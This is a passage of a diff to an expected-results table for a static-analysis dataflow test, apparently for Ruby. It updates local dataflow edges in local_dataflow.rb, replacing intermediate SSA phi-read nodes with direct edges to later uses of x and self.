-| local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
+| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:64:9:65:6 | then ... | local_dataflow.rb:61:7:68:5 | case ... |
-| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) |
 | local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | then ... |
-| local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
+| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:66:3:67:5 | else ... | local_dataflow.rb:61:7:68:5 | case ... |
-| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) |
 | local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | else ... |
+| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:69:7:76:5 | case ... | local_dataflow.rb:69:3:76:5 | ... = ... |
 | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:71:13:71:13 | x |
 | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:73:7:73:7 | x |
@@ -3242,7 +2638,6 @@
 | local_dataflow.rb:74:3:75:6 | else ... | local_dataflow.rb:69:7:76:5 | case ... |
 | local_dataflow.rb:75:6:75:6 | x | local_dataflow.rb:74:3:75:6 | else ... |
 | local_dataflow.rb:78:3:78:3 | z | local_dataflow.rb:89:8:89:8 | z |
-| local_dataflow.rb:78:7:88:5 | SSA phi read(self) | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:78:3 | z |
 | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:88:5 | ... = ... |
 | local_dataflow.rb:78:12:78:20 | [post] self | local_dataflow.rb:79:20:79:26 | self |
@@ -3260,23 +2655,20 @@
 | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:86:28:86:34 | self |
 | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:87:20:87:26 | self |
 | local_dataflow.rb:79:13:79:13 | b | local_dataflow.rb:79:25:79:25 | b |
-| local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:79:15:79:45 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) |
+| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:79:20:79:26 | call to sink | local_dataflow.rb:79:15:79:45 | then ... |
-| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) |
+| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:80:8:80:8 | a | local_dataflow.rb:80:13:80:13 | a |
 | local_dataflow.rb:80:13:80:13 | [post] a | local_dataflow.rb:80:29:80:29 | a |
 | local_dataflow.rb:80:13:80:13 | a | local_dataflow.rb:80:29:80:29 | a |
-| local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:80:19:80:49 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) |
+| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:80:24:80:30 | call to sink | local_dataflow.rb:80:19:80:49 | then ... |
-| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) |
+| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:81:9:81:9 | c | local_dataflow.rb:82:12:82:12 | c |
 | local_dataflow.rb:81:13:81:13 | d | local_dataflow.rb:83:12:83:12 | d |
 | local_dataflow.rb:81:16:81:16 | e | local_dataflow.rb:84:12:84:12 | e |
-| local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:81:20:84:33 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
 | local_dataflow.rb:81:25:84:14 | call to [] | local_dataflow.rb:81:20:84:33 | then ... |
 | local_dataflow.rb:81:25:84:14 | synthetic splat argument | local_dataflow.rb:81:25:84:14 | call to [] |
@@ -3284,32 +2676,29 @@
 | local_dataflow.rb:82:7:82:13 | self | local_dataflow.rb:83:7:83:13 | self |
 | local_dataflow.rb:83:7:83:13 | [post] self | local_dataflow.rb:84:7:84:13 | self |
 | local_dataflow.rb:83:7:83:13 | self | local_dataflow.rb:84:7:84:13 | self |
-| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) |
-| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) |
+| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:89:3:89:9 | self |
+| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:85:13:85:13 | f | local_dataflow.rb:85:27:85:27 | f |
-| local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:85:17:85:47 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) |
+| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:85:22:85:28 | call to sink | local_dataflow.rb:85:17:85:47 | then ... |
-| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) |
+| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:86:18:86:18 | g | local_dataflow.rb:86:33:86:33 | g |
-| local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:86:23:86:53 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) |
+| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:86:28:86:34 | call to sink | local_dataflow.rb:86:23:86:53 | then ... |
-| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) |
+| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:87:10:87:10 | x | local_dataflow.rb:87:25:87:25 | x |
-| local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:87:15:87:48 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) |
-| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) |
+| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:89:3:89:9 | self |
+| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:87:25:87:25 | [post] x | local_dataflow.rb:87:29:87:29 | x |
 | local_dataflow.rb:87:25:87:25 | x | local_dataflow.rb:87:29:87:29 | x |
 | local_dataflow.rb:87:29:87:29 | x | local_dataflow.rb:87:15:87:48 | then ... |
 | local_dataflow.rb:92:1:109:3 | self (and_or) | local_dataflow.rb:93:7:93:15 | self |
 | local_dataflow.rb:92:1:109:3 | self in and_or | local_dataflow.rb:92:1:109:3 | self (and_or) |
 | local_dataflow.rb:93:3:93:3 | a | local_dataflow.rb:94:8:94:8 | a |
-| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) |
+| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self |
 | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:20:93:28 | self |
 | local_dataflow.rb:93:7:93:15 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... |
@@ -3317,59 +2706,51 @@
 | local_dataflow.rb:93:7:93:15 | self | local_dataflow.rb:93:20:93:28 | self |
 | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:3 | a |
 | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:28 | ... = ... |
-| local_dataflow.rb:93:7:93:28 | SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self |
-| local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) |
-| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) |
+| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:94:3:94:9 | self |
 | local_dataflow.rb:93:20:93:28 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... |
-| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) |
+| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:94:3:94:9 | self |
 | local_dataflow.rb:94:3:94:9 | [post] self | local_dataflow.rb:95:8:95:16 | self |
 | local_dataflow.rb:94:3:94:9 | self | local_dataflow.rb:95:8:95:16 | self |
 | local_dataflow.rb:95:3:95:3 | b | local_dataflow.rb:96:8:96:8 | b |
 | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:3 | b |
 | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:30 | ... = ... |
-| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) |
+| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self |
 | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:21:95:29 | self |
 | local_dataflow.rb:95:8:95:16 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... |
 | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:21:95:29 | self |
 | local_dataflow.rb:95:8:95:29 | ... or ... | local_dataflow.rb:95:7:95:30 | ( ... ) |
-| local_dataflow.rb:95:8:95:29 | SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self |
-| local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) |
-| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) |
+| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:96:3:96:9 | self |
 | local_dataflow.rb:95:21:95:29 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... |
-| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) |
+| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:96:3:96:9 | self |
 | local_dataflow.rb:96:3:96:9 | [post] self | local_dataflow.rb:98:7:98:15 | self |
 | local_dataflow.rb:96:3:96:9 | self | local_dataflow.rb:98:7:98:15 | self |
 | local_dataflow.rb:98:3:98:3 | a | local_dataflow.rb:99:8:99:8 | a |
-| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) |
+| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self |
 | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:20:98:28 | self |
 | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:20:98:28 | self |
 | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:3 | a |
 | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:28 | ... = ... |
-| local_dataflow.rb:98:7:98:28 | SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self |
-| local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) |
-| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) |
+| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:99:3:99:9 | self |
 | local_dataflow.rb:98:20:98:28 | call to source | local_dataflow.rb:98:7:98:28 | ... && ... |
-| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) |
+| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:99:3:99:9 | self |
 | local_dataflow.rb:99:3:99:9 | [post] self | local_dataflow.rb:100:8:100:16 | self |
 | local_dataflow.rb:99:3:99:9 | self | local_dataflow.rb:100:8:100:16 | self |
 | local_dataflow.rb:100:3:100:3 | b | local_dataflow.rb:101:8:101:8 | b |
 | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:3 | b |
 | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:31 | ... = ... |
-| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) |
+| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self |
 | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:22:100:30 | self |
 | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:22:100:30 | self |
 | local_dataflow.rb:100:8:100:30 | ... and ... | local_dataflow.rb:100:7:100:31 | ( ... ) |
-| local_dataflow.rb:100:8:100:30 | SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self |
-| local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) |
-| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) |
+| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:101:3:101:9 | self |
 | local_dataflow.rb:100:22:100:30 | call to source | local_dataflow.rb:100:8:100:30 | ... and ... |
-| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) |
+| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:101:3:101:9 | self |
 | local_dataflow.rb:101:3:101:9 | [post] self | local_dataflow.rb:103:7:103:15 | self |
 | local_dataflow.rb:101:3:101:9 | self | local_dataflow.rb:103:7:103:15 | self |
 | local_dataflow.rb:103:3:103:3 | a | local_dataflow.rb:104:3:104:3 | a |
@@ -3379,16 +2760,14 @@
 | local_dataflow.rb:103:7:103:15 | call to source | local_dataflow.rb:103:3:103:15 | ... = ... |
 | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) |
 | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:9:104:17 | self |
-| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) |
+| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self |
 | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:104:5:104:7 | ... \|\| ... |
 | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:105:8:105:8 | a |
 | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:3 | a |
 | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:17 | ... = ... |
-| local_dataflow.rb:104:5:104:7 | SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self |
-| local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) |
-| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:105:3:105:9 | self |
 | local_dataflow.rb:104:9:104:17 | call to source | local_dataflow.rb:104:5:104:7 | ... \|\| ... |
-| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:105:3:105:9 | self |
 | local_dataflow.rb:105:3:105:9 | [post] self | local_dataflow.rb:106:7:106:15 | self |
 | local_dataflow.rb:105:3:105:9 | self | local_dataflow.rb:106:7:106:15 | self |
 | local_dataflow.rb:106:3:106:3 | b | local_dataflow.rb:107:3:107:3 | b |
@@ -3398,15 +2777,13 @@
 | local_dataflow.rb:106:7:106:15 | call to source | local_dataflow.rb:106:3:106:15 | ... = ... |
 | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) |
 | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:9:107:17 | self |
-| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) |
+| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self |
 | local_dataflow.rb:107:3:107:3 | b | local_dataflow.rb:108:8:108:8 | b |
 | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:3 | b |
 | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:17 | ... = ... |
-| local_dataflow.rb:107:5:107:7 | SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self |
-| local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) |
-| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:108:3:108:9 | self |
 | local_dataflow.rb:107:9:107:17 | call to source | local_dataflow.rb:107:5:107:7 | ... && ... |
-| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:108:3:108:9 | self |
 | local_dataflow.rb:111:1:114:3 | self (object_dup) | local_dataflow.rb:112:3:112:21 | self |
 | local_dataflow.rb:111:1:114:3 | self in object_dup | local_dataflow.rb:111:1:114:3 | self (object_dup) |
 | local_dataflow.rb:112:3:112:21 | [post] self | local_dataflow.rb:112:8:112:16 | self |
@@ -3455,24 +2832,20 @@
 | local_dataflow.rb:132:10:132:10 | [post] x | local_dataflow.rb:133:12:133:12 | x |
 | local_dataflow.rb:132:10:132:10 | x | local_dataflow.rb:133:12:133:12 | x |
 | local_dataflow.rb:132:12:148:10 | then ... | local_dataflow.rb:132:3:149:5 | if ... |
-| local_dataflow.rb:133:5:139:7 | SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self |
-| local_dataflow.rb:133:5:139:7 | SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x |
-| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) |
-| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) |
+| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self |
+| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x |
 | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) |
 | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:18:133:23 | self |
 | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... |
 | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [true] ... \|\| ... |
 | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) |
 | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:18:133:23 | self |
-| local_dataflow.rb:133:8:133:23 | SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self |
-| local_dataflow.rb:133:8:133:23 | SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x |
 | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) |
 | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:22:133:22 | x |
 | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) |
 | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:22:133:22 | x |
-| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) |
-| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) |
+| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self |
+| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x |
 | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) |
 | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:136:7:136:12 | self |
 | local_dataflow.rb:133:18:133:23 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... |
@@ -3483,43 +2856,35 @@
 | local_dataflow.rb:133:22:133:22 | [post] x | local_dataflow.rb:136:11:136:11 | x |
 | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) |
 | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:136:11:136:11 | x |
-| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) |
-| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) |
 | local_dataflow.rb:133:24:134:12 | then ... | local_dataflow.rb:133:5:139:7 | if ... |
-| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) |
+| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:141:9:141:14 | self |
 | local_dataflow.rb:134:7:134:12 | call to use | local_dataflow.rb:133:24:134:12 | then ... |
-| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) |
-| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) |
-| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) |
-| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) |
-| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) |
+| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:141:9:141:14 | self |
+| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:141:13:141:13 | x |
+| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:141:13:141:13 | x |
 | local_dataflow.rb:135:5:138:9 | else ... | local_dataflow.rb:133:5:139:7 | if ... |
 | local_dataflow.rb:136:7:136:12 | [post] self | local_dataflow.rb:137:10:137:15 | self |
 | local_dataflow.rb:136:7:136:12 | self | local_dataflow.rb:137:10:137:15 | self |
 | local_dataflow.rb:136:11:136:11 | [post] x | local_dataflow.rb:137:14:137:14 | x |
 | local_dataflow.rb:136:11:136:11 | x | local_dataflow.rb:137:14:137:14 | x |
-| local_dataflow.rb:137:7:138:9 | SSA phi read(self) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) |
-| local_dataflow.rb:137:7:138:9 | SSA phi read(x) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:7:138:9 | if ... | local_dataflow.rb:135:5:138:9 | else ... |
-| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) |
-| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) |
+| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
+| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:21:137:26 | self |
 | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:21:137:26 | self |
-| local_dataflow.rb:137:10:137:26 | SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
-| local_dataflow.rb:137:10:137:26 | SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x |
 | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:25:137:25 | x |
 | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:25:137:25 | x |
 | local_dataflow.rb:137:20:137:26 | [false] ! ... | local_dataflow.rb:137:10:137:26 | [false] ... && ... |
-| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) |
-| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) |
+| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
+| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:20:137:26 | [true] ! ... | local_dataflow.rb:137:10:137:26 | [true] ... && ... |
 | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
 | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) |
@@ -3529,15 +2894,11 @@
